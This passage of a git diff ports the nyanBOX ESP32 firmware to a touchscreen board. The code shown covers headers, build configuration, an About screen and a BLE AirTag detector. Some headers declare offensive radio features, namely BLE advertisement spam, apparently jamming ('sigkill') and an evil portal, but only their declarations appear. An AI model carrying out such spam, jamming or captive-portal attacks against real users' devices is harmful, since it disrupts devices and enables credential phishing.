+#include "esp_wifi.h" +#include "esp_bt_main.h" + +bool initBLE(); +void cleanupBLE(); +bool initWiFi(wifi_mode_t mode); +void cleanupWiFi(); +void cleanupRadio(); \ No newline at end of file diff --git a/cyd-port/include/rayban_detector.h b/cyd-port/include/rayban_detector.h new file mode 100644 index 0000000..36e48ac --- /dev/null +++ b/cyd-port/include/rayban_detector.h @@ -0,0 +1,22 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef RAYBAN_DETECTOR_H +#define RAYBAN_DETECTOR_H + +#include +#include "neopixel.h" +#include "pindefs.h" + +void raybanDetectorSetup(); +void raybanDetectorLoop(); + +#endif diff --git a/cyd-port/include/scanner.h b/cyd-port/include/scanner.h new file mode 100644 index 0000000..a40d2a7 --- /dev/null +++ b/cyd-port/include/scanner.h @@ -0,0 +1,26 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef scanner_H +#define scanner_H + +#include +#include +#include +#include +#include "esp_bt.h" +#include "esp_wifi.h" +#include "neopixel.h" + +void scannerSetup(); +void scannerLoop(); + +#endif diff --git a/cyd-port/include/setting.h b/cyd-port/include/setting.h new file mode 100644 index 0000000..37f1a6b --- /dev/null +++ b/cyd-port/include/setting.h @@ -0,0 +1,33 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef setting_H +#define setting_H + +#include +#include + +extern bool neoPixelActive; +extern bool dangerousActionsEnabled; +extern bool continuousScanEnabled; +extern bool privacyModeEnabled; + +void settingSetup(); +void settingLoop(); +bool isDangerousActionsEnabled(); +bool isContinuousScanEnabled(); +bool isPrivacyModeEnabled(); + +void maskMAC(const char* original, char* masked); +void maskName(const char* original, char* masked, int maxLen); +void maskNameEvilPortal(const char* original, char* masked, int maxLen, const char* customSSIDs[], int customSSIDCount); + +#endif diff --git a/cyd-port/include/sigkill.h b/cyd-port/include/sigkill.h new file mode 100644 index 0000000..bedfd6e --- /dev/null +++ b/cyd-port/include/sigkill.h @@ -0,0 +1,28 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef sigkill_H +#define sigkill_H + +#include +#include +#include +#include +#include +#include "neopixel.h" +#include "esp_bt.h" +#include "esp_wifi.h" +#include "neopixel.h" + +void sigkillSetup(); +void sigkillLoop(); + +#endif diff --git a/cyd-port/include/sleep_manager.h b/cyd-port/include/sleep_manager.h new file mode 100644 index 0000000..fd70033 --- /dev/null +++ b/cyd-port/include/sleep_manager.h @@ -0,0 +1,21 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef SLEEP_MANAGER_H +#define SLEEP_MANAGER_H + +extern void updateLastActivity(); +extern void checkIdle(); +extern void wakeDisplay(); +extern bool anyButtonPressed(); +extern void updateSleepTimeout(unsigned long newTimeout); + +#endif \ No newline at end of file diff --git a/cyd-port/include/smarttag_detector.h b/cyd-port/include/smarttag_detector.h new file mode 100644 index 0000000..d6f5f6f --- /dev/null +++ b/cyd-port/include/smarttag_detector.h @@ -0,0 +1,22 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2026 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef SMARTTAG_DETECTOR_H +#define SMARTTAG_DETECTOR_H + +#include +#include "neopixel.h" +#include "pindefs.h" + +void smarttagDetectorSetup(); +void smarttagDetectorLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/snake.h b/cyd-port/include/snake.h new file mode 100644 index 0000000..dd9503a --- /dev/null +++ b/cyd-port/include/snake.h @@ -0,0 +1,28 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef SNAKE_H +#define SNAKE_H + +#include +#include +#include "pindefs.h" + +#define SNAKE_CELL 4 +#define SNAKE_COLS (128 / SNAKE_CELL) +#define SNAKE_ROWS ( 64 / SNAKE_CELL) +#define SNAKE_MAX (SNAKE_COLS * SNAKE_ROWS) + +void snakeSetup(); +void snakeLoop(); +void snakeCleanup(); + +#endif diff --git a/cyd-port/include/sourapple.h b/cyd-port/include/sourapple.h new file mode 100644 index 0000000..0cbf6a5 --- /dev/null +++ b/cyd-port/include/sourapple.h @@ -0,0 +1,24 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef sourapple_H +#define sourapple_H + +#include +#include +#include "neopixel.h" +#include "pindefs.h" +#include "sleep_manager.h" + +void sourappleSetup(); +void sourappleLoop(); + +#endif diff --git a/cyd-port/include/sourdroid.h b/cyd-port/include/sourdroid.h new file mode 100644 index 0000000..b4645f4 --- /dev/null +++ b/cyd-port/include/sourdroid.h @@ -0,0 +1,18 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef SOURDROID_H +#define SOURDROID_H + +void sourDroidSetup(); +void sourDroidLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/swiftpair.h b/cyd-port/include/swiftpair.h new file mode 100644 index 0000000..940e292 --- /dev/null +++ b/cyd-port/include/swiftpair.h @@ -0,0 +1,18 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef SWIFTPAIR_SPAM_H +#define SWIFTPAIR_SPAM_H + +void swiftpairSpamSetup(); +void swiftpairSpamLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/tile_detector.h b/cyd-port/include/tile_detector.h new file mode 100644 index 0000000..4aa8206 --- /dev/null +++ b/cyd-port/include/tile_detector.h @@ -0,0 +1,22 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef TILE_DETECTOR_H +#define TILE_DETECTOR_H + +#include +#include "neopixel.h" +#include "pindefs.h" + +void tileDetectorSetup(); +void tileDetectorLoop(); + +#endif \ No newline at end of file diff --git a/cyd-port/include/touch_input.h b/cyd-port/include/touch_input.h new file mode 100644 index 0000000..ba11549 --- /dev/null +++ b/cyd-port/include/touch_input.h @@ -0,0 +1,39 @@ +/* + touch_input.h — nyanBOX CYD port + + Declares the touch-input glue that emulates the five nyanBOX control buttons + on the CYD (ESP32-2432S028) resistive touchscreen (XPT2046). + + pindefs.h installs: #define digitalRead(pin) nyanDigitalRead(pin) + so every project-side digitalRead(BUTTON_PIN_*) is routed to the touch zones. + Non-button pins fall through to the real digitalRead. +*/ +#ifndef TOUCH_INPUT_H +#define TOUCH_INPUT_H + +#include + +// Bring up the bit-bang XPT2046 touch bus. Call once from setup(). +void touchInputSetup(); + +// Button emulation: returns LOW (0) when the touch zone mapped to `pin` is +// pressed, HIGH (1) otherwise. Any non-button pin is forwarded to the real +// Arduino digitalRead so this remains a transparent shim. +int nyanDigitalRead(uint8_t pin); + +// Load stored calibration, or run the 4-corner tap calibration (first boot / finger +// held at power-up), then paint the on-screen arrow D-pad. Call once from setup(). +void touchBegin(); + +// Force the on-screen 4-corner calibration and store the result to EEPROM. +void touchCalibrate(); + +// --- Touch mode: MENU screens are tap-to-select + drag-to-scroll with a 2-zone +// BACK/LEVEL bar; apps (and the level screen) use the 5-zone arrow D-pad. --- +enum { TOUCH_MENU = 0, TOUCH_APP = 1 }; +void setTouchMode(uint8_t m); // switch mode + repaint the matching bottom bar +bool touchMenuTap(int &sy); // true once per completed tap in the MAIN area; gives screen y +bool touchMenuSlider(int &sy); // true while dragging the LEFT scroll slider; gives screen y (never selects) +int touchScreenYToItem(int sy, int menuStart); // screen y -> absolute item index (caller bounds-checks) + +#endif // TOUCH_INPUT_H diff --git a/cyd-port/include/wifiscan.h b/cyd-port/include/wifiscan.h new file mode 100644 index 0000000..b7fdb11 --- /dev/null +++ b/cyd-port/include/wifiscan.h @@ -0,0 +1,25 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#ifndef wifiscan_H +#define wifiscan_H + +#include +#include "neopixel.h" +#include "pindefs.h" +#include +#include + +void wifiscanSetup(); +void wifiscanLoop(); +void wifiscanCleanup(); + +#endif diff --git a/cyd-port/platformio.ini b/cyd-port/platformio.ini new file mode 100644 index 0000000..cdcdcc5 --- /dev/null +++ b/cyd-port/platformio.ini @@ -0,0 +1,86 @@ +; PlatformIO Project Configuration File +; +; Build options: build flags, source filter +; Upload options: custom upload port, speed and extra flags +; Library options: dependencies, extra library storages +; Advanced options: extra scripting +; +; Please visit documentation for the other options and examples +; https://docs.platformio.org/page/projectconf.html + +[env:nyanbox-main] +platform = espressif32 +board = esp32dev +framework = arduino +build_flags = -Wl,-z,muldefs +lib_deps = + nrf24/RF24@^1.4.10 + olikraus/U8g2@^2.36.2 + adafruit/Adafruit NeoPixel@^1.12.3 + bblanchon/ArduinoJson@^7.4.2 +board_build.partitions = huge_app.csv +monitor_speed = 115200 +monitor_filters = esp32_exception_decoder + +[env:nyanbox-cyd] +platform = espressif32@6.9.0 +board = esp32dev +framework = arduino +board_build.partitions = huge_app.csv +board_build.flash_mode = dio +board_build.f_flash = 40000000L +monitor_speed = 115200 +monitor_filters = esp32_exception_decoder + +lib_deps = + nrf24/RF24@^1.4.10 + olikraus/U8g2@^2.36.2 + adafruit/Adafruit NeoPixel@^1.12.3 + bblanchon/ArduinoJson@^7.4.2 + bodmer/TFT_eSPI@^2.5.43 +; Touch (XPT2046) is bit-banged in src/touch_input.cpp (risk E1) — no library needed. + +; Force-include the U8g2->TFT bridge into PROJECT SOURCES ONLY. +; MUST be build_src_flags, not build_flags, or the C++ header breaks U8g2's C core files. +build_src_flags = + -include include/cyd_u8g2_bridge.h + +build_flags = + -Wl,-z,muldefs + -D USER_SETUP_LOADED=1 + -D ILI9341_DRIVER=1 + -D USE_HSPI_PORT + -D TFT_WIDTH=240 + -D TFT_HEIGHT=320 + -D TFT_MISO=12 + -D TFT_MOSI=13 + -D TFT_SCLK=14 + -D TFT_CS=15 + -D TFT_DC=2 + -D TFT_RST=-1 + -D TFT_BL=21 + -D TFT_BACKLIGHT_ON=HIGH + -D SPI_FREQUENCY=40000000 + -D SPI_READ_FREQUENCY=20000000 + -D SPI_TOUCH_FREQUENCY=2500000 + -D LOAD_GLCD=1 + -D LOAD_FONT2=1 + -D LOAD_FONT4=1 + -D LOAD_FONT6=1 + -D LOAD_FONT7=1 + -D LOAD_FONT8=1 + -D LOAD_GFXFF=1 + -D SMOOTH_FONT=1 + +[env:hardware-test] +platform = espressif32 +board = esp32dev +framework = arduino +lib_deps = + nrf24/RF24@^1.4.10 + olikraus/U8g2@^2.36.2 + adafruit/Adafruit NeoPixel@^1.12.3 +monitor_speed = 115200 +build_src_filter = + +<../hardware-test/nyanbox_hardware_test.cpp> + -<*> diff --git a/cyd-port/src/about.cpp b/cyd-port/src/about.cpp new file mode 100644 index 0000000..2172360 --- /dev/null +++ b/cyd-port/src/about.cpp @@ -0,0 +1,116 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include +#include "about.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "snake.h" + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; +const char* nyanboxVersion = NYANBOX_VERSION; + +#define KONAMI_LENGTH 10 +static const uint8_t konamiSequence[KONAMI_LENGTH] = { + BUTTON_PIN_UP, + BUTTON_PIN_UP, + BUTTON_PIN_DOWN, + BUTTON_PIN_DOWN, + BUTTON_PIN_LEFT, + BUTTON_PIN_RIGHT, + BUTTON_PIN_LEFT, + BUTTON_PIN_RIGHT, + BUTTON_PIN_LEFT, + BUTTON_PIN_RIGHT +}; + +static uint8_t konamiIndex = 0; +static bool snakeMode = false; + +static bool needsRedraw = true; + +void aboutSetup() { + pinMode(BUTTON_PIN_UP, INPUT_PULLUP); + pinMode(BUTTON_PIN_DOWN, INPUT_PULLUP); + pinMode(BUTTON_PIN_LEFT, INPUT_PULLUP); + pinMode(BUTTON_PIN_RIGHT, INPUT_PULLUP); + + snakeSetup(); + snakeMode = false; + needsRedraw = true; +} + +void aboutLoop() { + const uint8_t arrows[] = { + BUTTON_PIN_UP, + BUTTON_PIN_DOWN, + BUTTON_PIN_LEFT, + BUTTON_PIN_RIGHT + }; + for (auto pin : arrows) { + if (digitalRead(pin) == LOW) { + if (pin == konamiSequence[konamiIndex]) { + konamiIndex++; + if (konamiIndex == KONAMI_LENGTH) { + snakeMode = true; + konamiIndex = 0; + } + } else { + konamiIndex = (pin == konamiSequence[0]) ? 1 : 0; + } + delay(150); + break; + } + } + + if (snakeMode) { + snakeLoop(); + return; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_helvB14_tr); + const char* title = "nyanBOX"; + int16_t titleW = u8g2.getUTF8Width(title); + u8g2.setCursor((128 - titleW) / 2, 16); + u8g2.print(title); + + u8g2.setFont(u8g2_font_helvR08_tr); + const char* url = "nyandevices.com"; + int16_t urlW = u8g2.getUTF8Width(url); + u8g2.setCursor((128 - urlW) / 2, 32); + u8g2.print(url); + + u8g2.setFont(u8g2_font_helvR08_tr); + int16_t creditWidth = u8g2.getUTF8Width("jbohack & zr_crackiin"); + int16_t creditX = (128 - creditWidth) / 2; + u8g2.setCursor(creditX, 50); + u8g2.print("jbohack & zr_crackiin"); + + u8g2.setFont(u8g2_font_helvR08_tr); + int16_t verW = u8g2.getUTF8Width(nyanboxVersion); + u8g2.setCursor((128 - verW) / 2, 62); + u8g2.print(nyanboxVersion); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void aboutCleanup() { + if (snakeMode) { + snakeCleanup(); + } +} diff --git a/cyd-port/src/airtag_detector.cpp b/cyd-port/src/airtag_detector.cpp new file mode 100644 index 0000000..c5795e8 --- /dev/null +++ b/cyd-port/src/airtag_detector.cpp @@ -0,0 +1,564 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/airtag_detector.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT +#define BTN_CENTER BUTTON_PIN_CENTER + +std::vector airtagDevices; +const int MAX_DEVICES = 100; + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +char locateTargetAddress[18] = {0}; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; +static unsigned long lastCountdownUpdate = 0; +const unsigned long countdownUpdateInterval = 1000; +static bool wasScanning = false; + +static bool isScanning = false; +static unsigned long lastScanTime = 0; +const unsigned long scanInterval = 30000; +const unsigned long scanDuration = 8; + +static bool bleInitialized = false; +static bool scanCompleted = false; + +static esp_ble_scan_params_t ble_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static void bda_to_string(uint8_t *bda, char *str, size_t size) { + if (bda == NULL || str == NULL || size < 18) { + return; + } + snprintf(str, size, "%02X:%02X:%02X:%02X:%02X:%02X", + bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +bool isAirTagPayload(uint8_t *payload, uint8_t payload_len) { + if (!payload || payload_len < 4) return false; + + // Check common AirTag patterns: "1E FF 4C 00" and "4C 00 12 19" + for (int i = 0; i <= payload_len - 4; i++) { + if (payload[i] == 0x1E && payload[i+1] == 0xFF && + payload[i+2] == 0x4C && payload[i+3] == 0x00) { + return true; + } + if (payload[i] == 0x4C && payload[i+1] == 0x00 && + payload[i+2] == 0x12 && payload[i+3] == 0x19) { + return true; + } + } + + return false; +} + +static void process_scan_result(esp_ble_gap_cb_param_t *scan_result) { + uint8_t *payload = scan_result->scan_rst.ble_adv; + uint8_t payload_len = scan_result->scan_rst.adv_data_len; + + if (!isAirTagPayload(payload, payload_len)) { + return; + } + + uint8_t *bda = scan_result->scan_rst.bda; + char addrStr[18]; + bda_to_string(bda, addrStr, sizeof(addrStr)); + + if (strlen(addrStr) < 12) return; + + if (isLocateMode && strlen(locateTargetAddress) > 0) { + if (strcmp(addrStr, locateTargetAddress) != 0) { + return; + } + } else if (airtagDevices.size() >= MAX_DEVICES) { + return; + } + + for (size_t i = 0; i < airtagDevices.size(); i++) { + if (strcmp(airtagDevices[i].address, addrStr) == 0) { + airtagDevices[i].rssi = scan_result->scan_rst.rssi; + airtagDevices[i].lastSeen = millis(); + + if (payload_len > 0 && payload_len < 64) { + memcpy(airtagDevices[i].payload, payload, payload_len); + airtagDevices[i].payloadLength = payload_len; + } + + if (!isLocateMode) { + std::sort(airtagDevices.begin(), airtagDevices.end(), + [](const AirTagDeviceData &a, const AirTagDeviceData &b) { + return a.rssi > b.rssi; + }); + } + return; + } + } + + AirTagDeviceData newDev = {}; + strncpy(newDev.address, addrStr, 17); + newDev.address[17] = '\0'; + newDev.rssi = scan_result->scan_rst.rssi; + newDev.lastSeen = millis(); + newDev.isAirTag = true; + strcpy(newDev.name, "AirTag"); + + if (payload_len > 0 && payload_len < 64) { + memcpy(newDev.payload, payload, payload_len); + newDev.payloadLength = payload_len; + } + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(newDev.name, adv_name, adv_name_len); + newDev.name[adv_name_len] = '\0'; + } + + airtagDevices.push_back(newDev); + + if (!isLocateMode) { + std::sort(airtagDevices.begin(), airtagDevices.end(), + [](const AirTagDeviceData &a, const AirTagDeviceData &b) { + return a.rssi > b.rssi; + }); + } +} + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + lastScanTime = millis(); + } + break; + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl.status != ESP_BT_STATUS_SUCCESS) { + isScanning = false; + } + break; + case ESP_GAP_BLE_SCAN_RESULT_EVT: + switch (param->scan_rst.search_evt) { + case ESP_GAP_SEARCH_INQ_RES_EVT: + process_scan_result(param); + break; + case ESP_GAP_SEARCH_INQ_CMPL_EVT: + lastScanTime = millis(); + scanCompleted = true; + if (isLocateMode) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } else { + isScanning = false; + } + break; + default: + break; + } + break; + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + scanCompleted = true; + break; + default: + break; + } +} + +void airtagDetectorSetup() { + airtagDevices.clear(); + airtagDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + lastButtonPress = 0; + isScanning = true; + scanCompleted = false; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + wasScanning = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.clearBuffer(); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "AirTags..."); + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + initBLE(); + + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + + bleInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_CENTER, INPUT_PULLUP); +} + +void airtagDetectorLoop() { + if (!bleInitialized) return; + + unsigned long now = millis(); + + if (isScanning && !isLocateMode) { + if (lastDeviceCount != (int)airtagDevices.size() || wasScanning != isScanning) { + lastDeviceCount = (int)airtagDevices.size(); + wasScanning = isScanning; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "AirTags..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", (int)airtagDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (airtagDevices.size() * (barWidth - 4)) / MAX_DEVICES; + if (fillWidth > 0) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + return; + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + + unsigned long effectiveScanInterval = scanInterval; + uint32_t effectiveScanDuration = scanDuration; + + if (airtagDevices.empty() && isContinuousScanEnabled()) { + effectiveScanInterval = 500; + effectiveScanDuration = 3; + } + + if (!isScanning && scanCompleted && now - lastScanTime > effectiveScanInterval && + !isDetailView && !isLocateMode) { + if (airtagDevices.size() >= MAX_DEVICES) { + std::sort(airtagDevices.begin(), airtagDevices.end(), + [](const AirTagDeviceData &a, const AirTagDeviceData &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DEVICES / 4; + if (devicesToRemove > 0) { + airtagDevices.erase(airtagDevices.begin(), + airtagDevices.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + scanCompleted = false; + isScanning = true; + esp_ble_gap_start_scanning(effectiveScanDuration); + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)airtagDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !airtagDevices.empty()) { + isDetailView = true; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !airtagDevices.empty()) { + isLocateMode = true; + strncpy(locateTargetAddress, airtagDevices[currentIndex].address, sizeof(locateTargetAddress) - 1); + locateTargetAddress[sizeof(locateTargetAddress) - 1] = '\0'; + if (!isScanning) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } + } + + if (airtagDevices.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + } else { + currentIndex = constrain(currentIndex, 0, (int)airtagDevices.size() - 1); + listStartIndex = + constrain(listStartIndex, 0, max(0, (int)airtagDevices.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (airtagDevices.empty() && scanCompleted && !isScanning && + now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (airtagDevices.empty()) { + if (isContinuousScanEnabled()) { + + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "AirTags..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No AirTags found"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 30, timeStr); + u8g2.drawStr(0, 45, "Press SEL to exit"); + } + } else if (isLocateMode) { + auto &dev = airtagDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.16s", maskedName); + u8g2.drawStr(0, 8, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "%s", maskedAddress); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + 